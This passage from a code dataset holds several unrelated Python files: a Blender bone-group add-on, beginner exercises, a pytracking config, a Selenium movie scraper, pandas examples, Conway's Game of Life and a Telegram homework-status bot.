tree_node.left = TreeNode(2)\n tree_node.left.left = TreeNode(4)\n tree_node.right = TreeNode(3)\n test_obj = ConstructBinaryTree()\n print(test_obj.pre_order_traverse(tree_node))","repo_name":"rahullodha85/python-algos","sub_path":"rl/tests/leetcode/ConstructBinaryTreeTests.py","file_name":"ConstructBinaryTreeTests.py","file_ext":"py","file_size_in_byte":418,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"5"} +{"seq_id":"71888113433","text":"from pytracking.utils import TrackerParams\nfrom pytracking.features.net_wrappers import NetWithBackbone\nimport random\n\ndef parameters():\n params = TrackerParams()\n\n params.debug = 0\n params.visualization = False\n\n params.use_gpu = True\n\n params.image_sample_size = 18*16\n params.search_area_scale = 5.6 # change\n\n # add\n # params.LOST_INSTANCE_SIZE = 831\n params.scale_factors = [1.30, 1.15, 1, 0.75, 0.5] # [1.30, 1.15, 1, 0.75, 0.5] 0.684\n params.scale_factors1 = [random.uniform(1.30, 1.28), 1.15, 1, 0.75, 0.5] # [1.30, 1.15, 1, 0.75, 0.5] 0.684\n params.scale_factors2 = [1.15, 1, 0.75, 0.5] # [1.25, 1.15, 1, 0.75, 0.5] 0.680\n params.CONFIDENCE_LOW = 0.25 # 0.25best\n params.CONFIDENCE_HIGH = 1.02 # 0.99 best\n # params.use_iounet_pos_for_learning = True\n\n # Learning parameters\n params.sample_memory_size = 50\n params.learning_rate = 0.01\n params.init_samples_minimum_weight = 0.25\n params.train_skipping = 28 # change from 25\n\n # Net optimization params\n params.update_classifier = True\n params.net_opt_iter = 10\n # params.net_opt_iter = 15\n params.net_opt_update_iter = 2\n params.net_opt_hn_iter = 1\n # add no use\n # params.low_score_opt_threshold = 0.37\n # params.net_opt_low_iter = 1\n\n # Detection parameters\n params.window_output = False\n\n # Init augmentation parameters\n params.use_augmentation = True\n params.augmentation = {'fliplr': True,\n 'rotate': [10, -10, 45, -45],\n 'blur': [(3,1), (1, 3), (2, 2)],\n 'relativeshift': [(0.6, 0.6), (-0.6, 0.6), (0.6, -0.6), (-0.6, -0.6)],\n # 'relativeshift': [(0.75, 0.75), (-0.75, 0.75), (0.75, -0.75), (-0.75, -0.75)],\n 'dropout': (2, 0.2)}\n\n params.augmentation_expansion_factor = 2\n params.random_shift_factor = 1/3\n # Advanced localization parameters\n params.advanced_localization = True\n params.target_not_found_threshold = 0.20 # 0.20 best\n params.distractor_threshold = 0.8\n params.hard_negative_threshold = 0.5\n params.target_neighborhood_scale = 2.2\n # params.target_neighborhood_scale = 2.3\n params.dispalcement_scale = 0.8\n params.hard_negative_learning_rate = 0.02\n params.update_scale_when_uncertain = True\n\n # IoUnet parameters\n params.iounet_augmentation = False\n params.iounet_use_log_scale = True\n params.iounet_k = 3\n params.num_init_random_boxes = 9\n params.box_jitter_pos = 0.1\n params.box_jitter_sz = 0.5\n params.maximal_aspect_ratio = 8\n params.box_refinement_iter = 5\n params.box_refinement_step_length = 1\n params.box_refinement_step_decay = 1\n\n # params.net = NetWithBackbone(net_path='dimp50.pth',\n params.net = NetWithBackbone(net_path='DiMPnet_ep0060_best.pth',\n use_gpu=params.use_gpu)\n\n params.vot_anno_conversion_type = 'preserve_area'\n\n return params\n","repo_name":"xjtuwh/rt_ir_tracker","sub_path":"pytracking/parameter/dimp/dimp50_anti_lt.py","file_name":"dimp50_anti_lt.py","file_ext":"py","file_size_in_byte":2990,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"30197529734","text":"import bpy\r\nfrom bpy.props import (\r\n IntProperty,\r\n FloatProperty,\r\n FloatVectorProperty,\r\n EnumProperty,\r\n BoolProperty,\r\n StringProperty\r\n)\r\n\r\n\r\nbl_info = {\r\n \"name\": \"myaddon_show_bone_group\",\r\n \"author\": \"aobayu\",\r\n \"version\": (3, 0),\r\n \"blender\": (2, 81, 0),\r\n \"location\": \"3Dビューポート > Sidebar\",\r\n \"description\": \"myaddon_show_bone_group\",\r\n \"warning\": \"\",\r\n \"support\": \"TESTING\",\r\n \"wiki_url\": \"\",\r\n \"tracker_url\": \"\",\r\n \"category\": \"User Interface\"\r\n}\r\n\r\n\r\n\r\nclass MYADDON_OP_ShowBoneGroupe_RefleshUI(bpy.types.Operator):\r\n\r\n bl_idname = \"button.showbonegrouperefleshui\"\r\n bl_label = \"NOP\"\r\n bl_description = \"UIを更新\"\r\n bl_options = {'REGISTER', 'UNDO'}\r\n\r\n def execute(self, context):\r\n scene = context.scene\r\n if scene.show_bone_groupe_amtname in bpy.data.objects :\r\n amt = bpy.data.objects[scene.show_bone_groupe_amtname]\r\n bone_group_to_bone_layer(amt)\r\n else :\r\n print(\"invalid armature name\")\r\n return {'FINISHED'}\r\n \r\n \r\nclass MYADDON_OP_ShowBoneGroupe_ShowAll(bpy.types.Operator):\r\n\r\n bl_idname = \"button.showbonegroupshowall\"\r\n bl_label = \"NOP\"\r\n bl_description = \" 全てを表示\"\r\n bl_options = {'REGISTER', 'UNDO'}\r\n\r\n def execute(self, context):\r\n scene = context.scene\r\n amt = bpy.data.objects[scene.show_bone_groupe_amtname]\r\n amt.data.layers = [True for i in range(32)]\r\n return {'FINISHED'}\r\n \r\nclass MYADDON_OP_ShowBoneGroupe_HideAll(bpy.types.Operator):\r\n\r\n bl_idname = \"button.showbonegrouphideall\"\r\n bl_label = \"NOP\"\r\n bl_description = \" 全てを表示\"\r\n bl_options = {'REGISTER', 'UNDO'}\r\n\r\n def execute(self, context):\r\n scene = context.scene\r\n amt = bpy.data.objects[scene.show_bone_groupe_amtname]\r\n for i in range(32):\r\n amt.data.layers[i] = False\r\n # 全てのボーンレイヤーを非表示にはできないので,レイヤー30をとりあえず表示する.\r\n amt.data.layers[30] = True\r\n amt.data.layers[31] = False\r\n return {'FINISHED'}\r\n\r\n# ボーングループをレイヤーに分ける。\r\ndef bone_group_to_bone_layer(amt):\r\n for b in amt.pose.bones :\r\n if b.bone_group != None :\r\n amt.data.bones[b.name].layers = [\r\n True if i == b.bone_group_index else False for i in range(32)]\r\n else :\r\n amt.data.bones[b.name].layers = [\r\n True if i == 31 else False for i in range(32)]\r\n \r\n \r\n\r\n\r\nclass MYADDON_PT_ShowBoneGroupUI(bpy.types.Panel):\r\n\r\n bl_label = \"ボーングループ\" # パネルのヘッダに表示される文字列\r\n bl_space_type = 'VIEW_3D' # パネルを登録するスペース\r\n bl_region_type = 'UI' # パネルを登録するリージョン\r\n #bl_category = \"カスタムタブ\" # パネルを登録するタブ名\r\n #bl_context = \"objectmode\" # パネルを表示するコンテキスト\r\n\r\n # 本クラスの処理が実行可能かを判定する\r\n @classmethod\r\n def poll(cls, context):\r\n # オブジェクトが選択されているときのみメニューを表示させる\r\n \r\n return True\r\n \r\n # メニューの描画処理\r\n def draw(self, context):\r\n layout = self.layout\r\n scene = context.scene\r\n \r\n layout.prop(scene, \"show_bone_groupe_amtname\", text=\"arm \")\r\n \r\n \r\n # ボタンを追加\r\n layout.operator(MYADDON_OP_ShowBoneGroupe_RefleshUI.bl_idname, text=\"refleshUi\")\r\n \r\n ## --------------------------------------------------------------------------------- \r\n \r\n if scene.show_bone_groupe_amtname in bpy.data.objects :\r\n amt = bpy.data.objects[scene.show_bone_groupe_amtname]\r\n \r\n num_of_bone_groups = len( amt.pose.bone_groups )\r\n \r\n box = layout.box()\r\n box.label(text=\"Selection Tools\")\r\n for i in range (num_of_bone_groups ) : \r\n box.prop( amt.data, 'layers', index=i, \r\n toggle=True, text=amt.pose.bone_groups[i].name)\r\n \r\n box.prop( amt.data, 'layers', index=31, \r\n toggle=True, text=\"その他\")\r\n layout.operator(MYADDON_OP_ShowBoneGroupe_ShowAll.bl_idname, text=\"ALL SHOW\")\r\n layout.operator(MYADDON_OP_ShowBoneGroupe_HideAll.bl_idname, text=\"ALL HIDE\")\r\n \r\n else :\r\n layout.label(text = \"invalid armature name\")\r\n ## --------------------------------------------------------------------------------\r\n \r\n '''\r\n arm = bpy.data.armatures['アーマチュア']\r\n col = layout.column()\r\n col.label(text=\"Layers:\")\r\n col.prop(arm, \"layers\", text=\"\")\r\n '''\r\n \r\n ## -------------------------------------------------------------------------------\r\n \r\n\r\n\r\n# プロパティの初期化\r\ndef init_props():\r\n scene = bpy.types.Scene\r\n \r\n scene.show_bone_groupe_amtname = StringProperty(\r\n name=\"armature name\",\r\n description=\"armature name\",\r\n default='arm'\r\n )\r\n \r\n\r\n\r\n# プロパティを削除\r\ndef clear_props():\r\n scene = bpy.types.Scene\r\n del scene.show_bone_groupe_amtname\r\n\r\n\r\nclasses = [\r\n MYADDON_PT_ShowBoneGroupUI,\r\n MYADDON_OP_ShowBoneGroupe_RefleshUI,\r\n MYADDON_OP_ShowBoneGroupe_ShowAll,\r\n MYADDON_OP_ShowBoneGroupe_HideAll\r\n]\r\n\r\n\r\ndef register():\r\n for c in classes:\r\n bpy.utils.register_class(c)\r\n init_props()\r\n print(\"サンプル 2-7: アドオン『サンプル 2-7』が有効化されました。\")\r\n\r\n\r\ndef unregister():\r\n clear_props()\r\n for c in classes:\r\n bpy.utils.unregister_class(c)\r\n print(\"サンプル 2-7: アドオン『サンプル 2-7』が無効化されました。\")\r\n\r\n\r\nif __name__ == \"__main__\":\r\n register()\r\n #unregister()","repo_name":"oba315/blender2.8_myCode","sub_path":"show_bone_group.py","file_name":"show_bone_group.py","file_ext":"py","file_size_in_byte":6124,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"70185547031","text":"import math\nfrom treasure_island import shark, treasure\n\n# Day 3\n# Practice Exercise - Leap Year\nyear = int(input(\"Which year do you want to check? \"))\nif year % 4 == 0:\n if year % 100 == 0:\n if year % 400 == 0:\n print(\"It is a leap year\")\n else:\n print(\"It is not a leap year\")\n else:\n print(\"It is a leap year\")\nelse:\n print(\"It is not a leap year\")\n\n# Practice Exercise - Pizza Order\nprint(\"Welcome to Python Pizza Deliveries!\\n\")\nsize = input(\"What size pizza do you want? S, M, or L \\n\")\nadd_pepperoni = input(\"Do you want pepperoni? Y or N \\n\")\nextra_cheese = input(\"Do you want extra cheese? Y or N \\n\")\n\nbill = 0\n\nif size == \"S\":\n bill += 15\nelif size == \"M\":\n bill += 20\nelse:\n bill += 25\nif add_pepperoni == \"Y\":\n if size == \"S\":\n bill += 2\n else:\n bill += 3\nif extra_cheese == \"Y\":\n bill += 1\nprint(f\"You final bill is ${bill}\")\n\n# Practice Exercise - Love Compatibility calculator\nprint(\"Welcome to the Love Calculator!\")\nname1 = input(\"What is your name? \\n\")\nname2 = input(\"What is their name? \\n\")\n\nname = name1 + name2\nlower_name = name.lower()\n\nt = lower_name.count(\"t\")\nr = lower_name.count(\"r\")\nu = lower_name.count(\"u\")\ne = lower_name.count(\"e\")\n\ntrue = t + r + u + e\n\nl = lower_name.count(\"l\")\no = lower_name.count(\"o\")\nv = lower_name.count(\"v\")\ne = lower_name.count(\"e\")\n\nlove = l + o + v + e\n\nscore = int(str(true) + str(love))\n\nprint(f\"You two are {score}% compatible\")\n\nif score > 10 or score < 90:\n print(f\"Your score is {score}%; You two go together like coke and mentos\")\nelif score > 40 and score < 50:\n print(f\"Your score is {score}%; You two are alright together\")\nelse:\n print(f\"Your score is {score}\")\n\n# Treasure Island\nprint(\"Welcome to Treasure Island.\")\nprint(\"Your mission is to find the treasure.\")\ndirection = input(\"Chose a direction: left or right\\n\")\n\nif direction == \"left\":\n lake = input(\"You have reached a lake. Do you want to swim or wait?\\n\")\n if lake == \"wait\":\n helicoptor = input(\n \"A helicopter is approaching. Do you want to get inside? Yes or No\\n\")\n if helicoptor == \"yes\":\n print(\"The helicopter crashes. Game over\")\n else:\n horse = input(\n \"A horse draw carriage arrives. Do you want to 'get inside' or 'stay put'?\\n\")\n if horse == \"get inside\":\n print(treasure)\n print(\n \"The coachman knows where the treasure is and will take you there.\")\n print(\"Congradulations, you've won the game.\")\n else:\n print(\"You've been struck by lightning. Game over.\")\n else:\n print(\"You have been eaten by a shark. Game over\")\n print(shark)\nelse:\n print(\"You've fallen in a hole. Game over.\")","repo_name":"beckyxde/100_Days","sub_path":"Workspaces/Beginner/Days_1-10/Day_3_Treasure_Island.py","file_name":"Day_3_Treasure_Island.py","file_ext":"py","file_size_in_byte":2821,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"73839453913","text":"from pywr_editor.form import (\n FieldConfig,\n FormSection,\n ParameterLineEditWidget,\n TableValuesWidget,\n Validation,\n)\n\nfrom ..parameter_dialog_form import ParameterDialogForm\n\n\nclass PiecewiseIntegralParameterSection(FormSection):\n def __init__(self, form: ParameterDialogForm, section_data: dict):\n \"\"\"\n Initialise the form section for PiecewiseIntegralParameter.\n :param form: The parent form.\n :param section_data: A dictionary containing data to pass to the widget.\n \"\"\"\n super().__init__(form, section_data)\n self.form: ParameterDialogForm\n\n self.add_fields(\n {\n \"Configuration\": [\n FieldConfig(\n # this field includes both x and y values\n name=\"x_y_values\",\n label=\"Piecewise function\",\n field_type=TableValuesWidget,\n field_args={\"min_total_values\": 2},\n validate_fun=self._check_x,\n value={\n \"x\": self.form.field_value(\"x\"),\n \"y\": self.form.field_value(\"y\"),\n },\n help_text=\"Integrate the piecewise function between 0 and the \"\n \"value given by the parameter provided below. The values of x \"\n \"must be monotonically increasing and greater than zero\",\n ),\n FieldConfig(\n name=\"parameter\",\n field_type=ParameterLineEditWidget,\n value=self.form.field_value(\"parameter\"),\n help_text=\"The parameter that defines the upper boundary limit \"\n \"of the integration\",\n ),\n ],\n \"Miscellaneous\": [self.form.comment],\n }\n )\n\n @staticmethod\n def _check_x(\n name: str, label: str, value: dict[str, list[float | int]]\n ) -> Validation:\n \"\"\"\n Checks that \"x\" is monotonically increasing and larger than zero\n :param name: The field name.\n :param label: The field label.\n :param value: The field value.\n :return: The validation instance.\n \"\"\"\n x = value[\"x\"]\n if any([j - i <= 0 for i, j in zip(x[:-1], x[1:])]):\n return Validation(\"The values must be strictly monotonically increasing\")\n elif x[0] < 0:\n return Validation(\"The values must start from zero\")\n\n return Validation()\n\n def filter(self, form_data: dict) -> None:\n \"\"\"\n Splits the data points dictionary.\n :param form_data: The form data dictionary.\n :return: None.\n \"\"\"\n # split x and y\n for var_name, var_values in form_data[\"x_y_values\"].items():\n form_data[var_name] = var_values\n del form_data[\"x_y_values\"]\n","repo_name":"pywr-editor/editor","sub_path":"pywr_editor/dialogs/parameters/sections/piecewise_integral_parameter_section.py","file_name":"piecewise_integral_parameter_section.py","file_ext":"py","file_size_in_byte":2997,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"5"} +{"seq_id":"36456444099","text":"from tkinter import Tk\n\n_VERSION_NUMBER = 2.0\n\nclass RootWindow(Tk) :\n \n def __init__(self) :\n super().__init__()\n\n width = 550\n height = 400\n\n self.geometry(f'{width}x{height}')\n self.title(f'Host Simulator {str(_VERSION_NUMBER)}')\n self.resizable(False, False)\n\n \n","repo_name":"barnan/HostSimulator","sub_path":"views/rootwindow.py","file_name":"rootwindow.py","file_ext":"py","file_size_in_byte":321,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"10451953080","text":"from selenium import webdriver\nimport time\n\ndriver = webdriver.Chrome(r'E:\\chromedriver.exe')\ndriver.get('https://movie.douban.com/explore#!type=movie&tag=%E8%B1%86%E7%93%A3%E9%AB%98%E5%88%86&sort=recommend&page_limit=20&page_start=0')\ntime.sleep(1)\nchooses = driver.find_element_by_class_name('sort')\nlabels = chooses.find_elements_by_tag_name('label')\none = input('输入序号查询:1.按热度排序,2.按时间排序,3.按评价排序')\nassert one.isdigit()\nfor label in labels:\n if one == '1':\n print('---豆瓣高分电影(按热度排序)--- ')\n break\n elif one == '2':\n choose = label.find_element_by_xpath('//input[@value=\"time\"]')\n choose.click()\n print('---豆瓣高分电影(按时间排序)--- ')\n break\n elif one == '3':\n choose = label.find_element_by_xpath('//input[@value=\"rank\"]')\n choose.click()\n print('---豆瓣高分电影(按评价排序)--- ')\n break\n else:\n print('输入指令不对,按按热度排序')\n print('---豆瓣高分电影(按热度排序)--- ')\n break\ntime.sleep(3)\neles = driver.find_elements_by_class_name('item')\nfor ele in eles:\n print(ele.text)\ndriver.quit()\n","repo_name":"sherwin19950106/selenium_test","sub_path":"test007.py","file_name":"test007.py","file_ext":"py","file_size_in_byte":1233,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"3623420545","text":"# -*- coding: utf-8 -*-\r\n# Two Sum\r\n\r\nclass Solution(object):\r\n def twoSum(self, nums, target):\r\n \"\"\"\r\n :type nums: List[int]\r\n :type target: int\r\n :rtype: List[int]\r\n \"\"\"\r\n x = 0\r\n for i in nums:\r\n x = x + 1\r\n if target - i in nums[x:]:\r\n return(x - 1, nums[x:].index(target - i) + x)","repo_name":"youlinshi/Summer-School","sub_path":"LeetCode/HW1.py","file_name":"HW1.py","file_ext":"py","file_size_in_byte":374,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"11224491584","text":"import pandas as pd\nimport numpy as np\n\nsoccer_dataset=pd.read_excel(\"soccer_dataset.xlsx\")\n\ncountry_report=pd.pivot_table(soccer_dataset, \n index=\"country\", \n values=\"city\", \n aggfunc=\"count\")\nprint(country_report)\ntournment_report=pd.pivot_table(soccer_dataset,index=\"tournament\",\n values=[\"home_score\",\n \"away_score\",\n \"city\"],\n aggfunc={\"home_score\":np.sum,\n \"away_score\":np.sum,\n \"city\":\"count\"})\n\nprint(tournment_report)\n","repo_name":"shadenalmangour/Paython_Practise","sub_path":"Week4/pivot_table.py","file_name":"pivot_table.py","file_ext":"py","file_size_in_byte":734,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"21355122946","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nI/O in Python\r\n\r\nNASDAQOMX-XQC.csv taken from Quandl.\r\n\"\"\"\r\n\r\nimport pandas as pd\r\n\r\ndf = pd.read_csv('NASDAQOMX-XQC.csv')\r\nprint(df.head())\r\n\r\ndf.set_index('Date', inplace = True)\r\n\r\n# Saving to new csv file\r\ndf.to_csv('newcsv2.csv')\r\n\r\ndf['Value'].to_csv('newcsv2.csv')\r\n\r\ndf = pd.read_csv('newcsv2.csv')\r\nprint(df.head())\r\n\r\n# Removing index from begining\r\n\r\ndf = pd.read_csv('newcsv2.csv', index_col=0)\r\nprint(df.head())\r\n\r\ndf.columns = ['House_Prices']\r\nprint(df.head())\r\n\r\ndf.to_csv('newcsv3.csv')\r\n\r\n# With no header name\r\n\r\ndf.to_csv('newcsv4.csv', header=False)\r\n\r\n# Overall , we may write like\r\ndf = pd.read_csv('newcsv4.csv', names = ['Date','House_Price'], index_col=0)\r\nprint(df.head())\r\n\r\n#Let's rename columns\r\n\r\ndf = pd.read_csv('newcsv4.csv', names = ['Date','House_Price'])\r\nprint(df.head())\r\n\r\ndf.rename(columns={'House_Price':'Prices'}, inplace=True)\r\nprint(df.head())\r\n\r\n","repo_name":"HassanSherwani/Data_Analysis_Python","sub_path":"Input-Output_Functions.py","file_name":"Input-Output_Functions.py","file_ext":"py","file_size_in_byte":922,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"5363963427","text":"\"\"\" conftest: global fixture file for tests \"\"\"\nimport time\n\nimport pytest\n\n\n@pytest.fixture(autouse=True)\ndef time_test():\n \"\"\"Time a test and print out how long it took\n\n Note, this fixture is for example purposes. This information\n can also be achieved with the `--durations=n` command line flag.\n \"\"\"\n before = time.time()\n yield\n after = time.time()\n print(f\"Test took {after - before:.02f} seconds!\")\n\n\n@pytest.fixture(autouse=True, scope=\"session\")\ndef time_all_tests():\n \"\"\" Time all tests and print out how long they took \"\"\"\n before = time.time()\n yield\n after = time.time()\n print(f\"Total test time: {after - before:.02f} seconds!\")\n","repo_name":"VerdantFox/pytest_examples","sub_path":"src/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":683,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"18401667225","text":"# Python code to implement Conway's Game Of Life\nimport argparse\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib.animation as animation\n\n# setting up the values for the grid\nON = 255\nOFF = 0\nvals = [ON, OFF]\n\ndef randomGrid(N):\n\n\t\"\"\"returns a grid of NxN random values\"\"\"\n\treturn np.random.choice(vals, N*N, p=[0.2, 0.8]).reshape(N, N)\n\ndef addGlider(i, j, grid):\n\n\t\"\"\"adds a glider with top left cell at (i, j)\"\"\"\n\tglider = np.array([[0, 0, 255],\n\t\t\t\t\t[255, 0, 255],\n\t\t\t\t\t[0, 255, 255]])\n\tgrid[i:i+3, j:j+3] = glider\n\ndef addGosperGliderGun(i, j, grid):\n\n\t\"\"\"adds a Gosper Glider Gun with top left\n\tcell at (i, j)\"\"\"\n\tgun = np.zeros(11*38).reshape(11, 38)\n\n\tgun[5][1] = gun[5][2] = 255\n\tgun[6][1] = gun[6][2] = 255\n\n\tgun[3][13] = gun[3][14] = 255\n\tgun[4][12] = gun[4][16] = 255\n\tgun[5][11] = gun[5][17] = 255\n\tgun[6][11] = gun[6][15] = gun[6][17] = gun[6][18] = 255\n\tgun[7][11] = gun[7][17] = 255\n\tgun[8][12] = gun[8][16] = 255\n\tgun[9][13] = gun[9][14] = 255\n\n\tgun[1][25] = 255\n\tgun[2][23] = gun[2][25] = 255\n\tgun[3][21] = gun[3][22] = 255\n\tgun[4][21] = gun[4][22] = 255\n\tgun[5][21] = gun[5][22] = 255\n\tgun[6][23] = gun[6][25] = 255\n\tgun[7][25] = 255\n\n\tgun[3][35] = gun[3][36] = 255\n\tgun[4][35] = gun[4][36] = 255\n\n\tgrid[i:i+11, j:j+38] = gun\n\ndef update(frameNum, img, grid, N):\n\n\t# copy grid since we require 8 neighbors\n\t# for calculation and we go line by line\n\tnewGrid = grid.copy()\n\tfor i in range(N):\n\t\tfor j in range(N):\n\n\t\t\t# calculando los vecinos\n #con fronteras periodica o toroidales.\n\t\t\ttotal = int((grid[i, (j-1)%N] + grid[i, (j+1)%N] +\n grid[(i-1)%N, j] + grid[(i+1)%N, j] +\n grid[(i-1)%N, (j-1)%N] + grid[(i-1)%N, (j+1)%N] +\n grid[(i+1)%N, (j-1)%N] + grid[(i+1)%N, (j+1)%N])/255)\n\n\t\t\t# aplicando las 4 reglas del juego de la vida:\n\t\t\tif grid[i, j] == ON:\n # < 2 vecinos muere o si es > 3 vecinos muere\n\t\t\t\tif (total < 2) or (total > 3):\n\t\t\t\t\tnewGrid[i, j] = OFF\n\t\t\telse:\n #si tiene 3 vecinos revive\n\t\t\t\tif total == 3:\n\t\t\t\t\tnewGrid[i, j] = ON\n\n\t# update data\n\timg.set_data(newGrid)\n\tgrid[:] = newGrid[:]\n\treturn img,\n\n# main() function\ndef main():\n\n\t# Command line args are in sys.argv[1], sys.argv[2] ..\n\t# sys.argv[0] is the script name itself and can be ignored\n\t# parse arguments\n\tparser = argparse.ArgumentParser(\n description=\"Runs Conway's Game of Life simulation.\")\n\n\t# add arguments\n\tparser.add_argument('--grid-size', dest='N', required=False)\n\tparser.add_argument('--mov-file', dest='movfile', required=False)\n\tparser.add_argument('--interval', dest='interval', required=False)\n\tparser.add_argument('--glider', action='store_true', required=False)\n\tparser.add_argument('--gosper', action='store_true', required=False)\n\targs = parser.parse_args()\n\t\n\t# set grid size\n\tN = 100\n\tif args.N and int(args.N) > 8:\n\t\tN = int(args.N)\n\t\t\n\t# set animation update interval\n\tupdateInterval = 50\n\tif args.interval:\n\t\tupdateInterval = int(args.interval)\n\n\t# declare grid\n\tgrid = np.array([])\n\n\t# viendo cual condicion inicial se elige\n\tif args.glider:\n #primera opcion\n\t\tgrid = np.zeros(N*N).reshape(N, N)\n\t\taddGlider(1, 1, grid)\n\telif args.gosper:\n #segunda opcion\n\t\tgrid = np.zeros(N*N).reshape(N, N)\n\t\taddGosperGliderGun(10, 10, grid)\n\telse: \n #tercera opcion\n\t\t\t#mas vivos que muertos\n\t\tgrid = randomGrid(N)\n\n\t# Configuracion para el movimiento:\n\tfig, ax = plt.subplots()\n\timg = ax.imshow(grid, interpolation='nearest')\n\tani = animation.FuncAnimation(fig, update, fargs=(img, grid, N, ),\n frames = 10,\n interval=updateInterval,\n save_count=50)\n\n\t# # of cuadros por segundo(fps-frames per second)\n\t# set output file\n\tif args.movfile:\n\t\tani.save(args.movfile, fps=30, extra_args=['-vcodec', 'libx264'])\n\n\tplt.show()\n\n# call main\nif __name__ == '__main__':\n\tmain()\n","repo_name":"ealvan/fisComp","sub_path":"lab10_automatas_celulares/vida_game.py","file_name":"vida_game.py","file_ext":"py","file_size_in_byte":3870,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"29186512062","text":"import logging\nimport os\nimport time\nfrom http import HTTPStatus\n\nimport requests\nfrom dotenv import load_dotenv\nfrom telegram import Bot\n\nimport exceptions\n\nload_dotenv()\n\n\nPRACTICUM_TOKEN = os.getenv('P_TOKEN')\nTELEGRAM_TOKEN = os.getenv('T_TOKEN')\nTELEGRAM_CHAT_ID = os.getenv('T_CHAT_ID')\n\nRETRY_TIME = 600\nENDPOINT = 'https://practicum.yandex.ru/api/user_api/homework_statuses/'\nHEADERS = {'Authorization': f'OAuth {PRACTICUM_TOKEN}'}\n\n\nHOMEWORK_VERDICTS = {\n 'approved': 'Работа проверена: ревьюеру всё понравилось. Ура!',\n 'reviewing': 'Работа взята на проверку ревьюером.',\n 'rejected': 'Работа проверена: у ревьюера есть замечания.'\n}\n\nlogger = logging.getLogger()\nif __name__ == '__main__':\n logger.setLevel(logging.INFO)\n handler = logging.StreamHandler()\n handler.setFormatter(\n logging.Formatter('%(asctime)s %(levelname)s %(name)s %(message)s'))\n logger.addHandler(handler)\n\n\ndef send_message(bot, message):\n \"\"\"\n Отправляет сообщение в Telegram чат.\n Чат определяется переменной окружения TELEGRAM_CHAT_ID.\n \"\"\"\n try:\n bot.send_message(TELEGRAM_CHAT_ID, text=message)\n logger.info('Сообщение отправлено')\n except Exception as error:\n message = f'Ошибка при отправке сообщения: {error}'\n logger.error(message)\n raise exceptions.MessageSendErrorException(message)\n\n\ndef get_api_answer(current_timestamp):\n \"\"\"\n Делаем запрос к эндпоинту API-сервиса.\n В случае успешного запроса возвращает ответ API,\n преобразовав его из формата JSON к типам данных Python.\n \"\"\"\n timestamp = current_timestamp or int(time.time())\n params = {'from_date': timestamp}\n try:\n response = requests.get(ENDPOINT, headers=HEADERS, params=params)\n logger.info('Запрос к эндпоинту')\n\n except Exception as error:\n message = f'Эндпоинт API-сервиса не доступен: {error}'\n logger.error(message)\n raise exceptions.EndpointUnreachableException(message)\n\n finally:\n if response.status_code != HTTPStatus.OK:\n message = 'Ошибка при запросе к основному API'\n logger.error(message)\n raise exceptions.APIResponseStatusCodeException(message)\n logger.info('Успешный запрос')\n return response.json()\n\n\ndef check_response(response):\n \"\"\"\n Проверяет ответ API на корректность.\n Если ответ API соответствует ожиданиям,\n то возвращает список домашних работ.\n \"\"\"\n if not isinstance(response, dict):\n message = 'Response не является словарем'\n logger.error(message)\n raise TypeError(message)\n homeworks = response.get('homeworks')\n if 'homeworks' not in response or 'current_date' not in response:\n message = 'Response имеет неправильный формат'\n logger.error(message)\n raise Exception(message)\n if not isinstance(homeworks, list):\n message = 'homeworks не является списком'\n logger.error(message)\n raise TypeError(message)\n logger.info('Получили список домашних работ')\n return homeworks\n\n\ndef parse_status(homework):\n \"\"\"\n Извлекает из информации о конкретной домашней работе статус этой работы.\n В случае успеха, функция возвращает подготовленную для отправки в Telegram\n строку, содержащую один из вердиктов словаря HOMEWORK_STATUSES.\n \"\"\"\n if 'homework_name' not in homework:\n message = 'homework_name не найден в домашней работе'\n logger.error(message)\n raise KeyError(message)\n homework_name = homework.get('homework_name')\n homework_status = homework.get('status')\n\n if homework_status not in HOMEWORK_VERDICTS:\n message = 'Неизвестный статус домашней работы'\n logger.error(message)\n raise exceptions.HomeworkStatusException(message)\n\n verdict = HOMEWORK_VERDICTS[homework_status]\n logger.info('Вердикт получен')\n return f'Изменился статус проверки работы \"{homework_name}\". {verdict}'\n\n\ndef check_tokens():\n \"\"\"Проверяем доступность переменных окружения.\"\"\"\n return all([TELEGRAM_TOKEN, TELEGRAM_CHAT_ID, PRACTICUM_TOKEN])\n\n\ndef main():\n \"\"\"\n Основная логика работы бота. Делает запрос к API. Проверяет ответ.\n Если есть обновления — получает статус работы из обновления и\n отправляет сообщение в Telegram. Ждет 600 сек. и сделает новый запрос.\n \"\"\"\n if not check_tokens():\n message = 'Обязательные переменные окружения отсутствуют'\n logger.critical(message)\n raise SystemExit(message)\n\n bot = Bot(token=TELEGRAM_TOKEN)\n current_timestamp = int(time.time())\n previous_message = ''\n\n while True:\n try:\n response = get_api_answer(current_timestamp)\n homeworks = check_response(response)\n print(homeworks)\n for homework in homeworks:\n message = parse_status(homework)\n logger.info('Сообщение подготовлено')\n if message != previous_message:\n send_message(bot, message)\n previous_message = message\n time.sleep(RETRY_TIME)\n\n except Exception as error:\n message = f'Сбой в работе программы: {error}'\n logger.error(message)\n if message != previous_message:\n send_message(bot, message)\n previous_message = message\n time.sleep(RETRY_TIME)\n\n\nif __name__ == '__main__':\n 